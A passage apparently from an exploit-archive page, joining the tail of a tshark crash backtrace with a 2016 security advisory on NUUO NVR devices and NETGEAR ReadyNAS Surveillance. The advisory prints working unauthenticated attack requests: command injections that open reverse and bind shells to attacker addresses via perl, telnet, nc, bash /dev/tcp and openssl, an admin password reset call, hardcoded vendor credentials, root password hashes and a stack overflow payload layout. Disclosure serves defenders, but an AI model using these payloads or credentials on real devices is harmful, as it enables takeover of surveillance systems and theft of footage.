#17 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#18 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#19 0x00007ffff3c99819 in try_conversation_dissector (addr_a=0xb04cf0, addr_b=0xb04cd8, ptype=PT_UDP, port_a=65359, port_b=8040, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at conversation.c:1323
#20 0x00007ffff47d3839 in decode_udp_ports (tvb=0x848b70, offset=8, pinfo=0xb04c18, tree=0x0, uh_sport=8040, uh_dport=65359, uh_ulen=3554) at packet-udp.c:541
#21 0x00007ffff47d5e21 in dissect (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, ip_proto=17) at packet-udp.c:1080
#22 0x00007ffff47d5e79 in dissect_udp (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet-udp.c:1086
#23 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13330, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet.c:660
#24 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13330, tvb=0x848b70, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:735
#25 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x7b1cc0, uint_val=17, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:1199
#26 0x00007ffff425e409 in ip_try_dissect (heur_first=0, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, iph=0x7fffec869030) at packet-ip.c:1977
#27 0x00007ffff426037c in dissect_ip_v4 (tvb=0x848b20, pinfo=0xb04c18, parent_tree=0x0, data=0x0) at packet-ip.c:2476
#28 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb78930, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#29 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb78930, tvb=0x848b20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#30 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:1199
#31 0x00007ffff3cab5e4 in dissector_try_uint (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0) at packet.c:1225
#32 0x00007ffff40a1c60 in dissect_ethertype (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet-ethertype.c:262
#33 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:660
#34 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda50000, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffcc20) at packet.c:735
#35 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2791
#36 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2804
#37 0x00007ffff40a04d5 in dissect_eth_common (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, fcs_len=-1) at packet-eth.c:540
#38 0x00007ffff40a106b in dissect_eth (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet-eth.c:836
#39 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet.c:660
#40 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:735
#41 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c2c0, uint_val=1, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:1199
#42 0x00007ffff40e9887 in dissect_frame (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, data=0x7fffffffd380) at packet-frame.c:507
#43 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:660
#44 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51950, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffd380) at packet.c:735
#45 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2791
#46 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2804
#47 0x00007ffff3caa079 in dissect_record (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at packet.c:543
#48 0x00007ffff3c9ebf9 in epan_dissect_run (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at epan.c:365
#49 0x000000000041844c in process_packet_first_pass (cf=0x64f100 <cfile>, edt=0xb04c00, offset=20928, whdr=0xad68c0, pd=0xb04e20 "4\a\373\024t,\320\320\375+\004\300\b") at tshark.c:2694
#50 0x0000000000418dd7 in load_cap_file (cf=0x64f100 <cfile>, save_file=0x0, out_file_type=2, out_file_name_res=0, max_packet_count=-1, max_byte_count=0) at tshark.c:2988
#51 0x0000000000416fa0 in main (argc=5, argv=0x7fffffffdda8) at tshark.c:1873


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40199.zip
HireHackking 
>> Multiple vulnerabilities in NUUO NVRmini2 / NVRsolo / Crystal devices and NETGEAR ReadyNAS Surveillance application
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/08/2016 / Last updated: 04/08/2016


>> Background on the affected products:
"NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always."
"NVRsolo is NUUO’s answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs."
"NUUO Crystal™ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO Crystal™ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO Crystal™."
"(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."


>> Summary:
NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems.

The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.

Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.

A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.


>> Technical details:
#1
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5674
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):

function print_file($file_fullpath_name)
{
    $cmd = "cat " . $file_fullpath_name;
    echo $file_fullpath_name . "\n\n";
    system($cmd);
}

<?php
    if (isset($_GET['log']) && !empty($_GET['log']))
    {
        $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
        print_file($file_fullpath_name);
    }
    else
    {
        die("unknown command.");
    }
?>

The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:
- ReadyNAS Surveillance:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.

- NVRmini 2 and NVRsolo:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 
This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.


#2
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5675
Attack Vector: Remote
Constraints: Requires an administrator account
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):
    else if ($act == 'update')
    {
        $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
        
        $find_str = "time server";
        
        $sys_msg = system($cmd);
        $pos = strpos($sys_msg, $find_str);

The file can only be accessed by an authenticted user.
- ReadyNAS Surveillance:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
This will create a /tmp/test file with the contents of "admin" (current user).

- NVRmini 2 and NVRsolo:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Connects a shell to 192.168.1.204, port 9000, running as root.

- Crystal:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Connects a shell to 192.168.1.204, port 4444, running as root.


#3
Vulnerability: Administrator password reset
CVE-2016-5676
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.

Proof of concept:
GET /cgi-bin/cgi_system?cmd=loaddefconfig

This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.


#4
Vulnerability: Information disclosure (system processes, available memory and filesystem status)
CVE-2016-5677
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit


#5 
Vulnerability: Harcoded root password 
CVE-2016-5678
Affected products / versions:
- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0

The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.

NVRmini 2:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::

  
#6 
Vulnerability: Command injection in cgi_main transfer license command
CVE-2016-5679
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The transfer_license command has a command injection vulnerability in the "sn" parameter:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Sample exploit for NVRmini2 (open bind shell on port 4444):
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
      
      
#7 
Vulnerability: Stack buffer overflow in cgi_main transfer license command
CVE-2016-5680
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.

Function 0x20BC9C (NVRmini2 firmware v3.0.0):
      method = getval("method");
      sn = getval("sn");
      (...)
      memset(&command, 0, 128);
      sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
      system(&command);

> For example if the following request is performed:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

> A core file is generated:
Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r
r0             0x0	0
r1             0x0	0
r2             0x407aa4d0	1081779408
r3             0x407aa9e0	1081780704
r4             0x61616161	1633771873
r5             0x61616161	1633771873
r6             0x61616161	1633771873
r7             0x61616161	1633771873
r8             0x331fc8	3350472
r9             0x1	1
r10            0x33db54	3398484
r11            0x0	0
r12            0x1	1
sp             0xbedce528	0xbedce528
lr             0x61616161	1633771873
pc             0x61616160	0x61616160
cpsr           0x60000030	1610612784
(gdb) 

The request can be sent by an HTTP GET or POST method.

> A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 976
4444: r4 register content, offset 962
5555: r5 register content, offset 966
6666: r6 register content, offset 970
7777: r7 register content, offset 974
SSSS: start of stack pointer, offset 992

> On the ReadyNAS Surveillance one additional register (r8) can be controlled:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa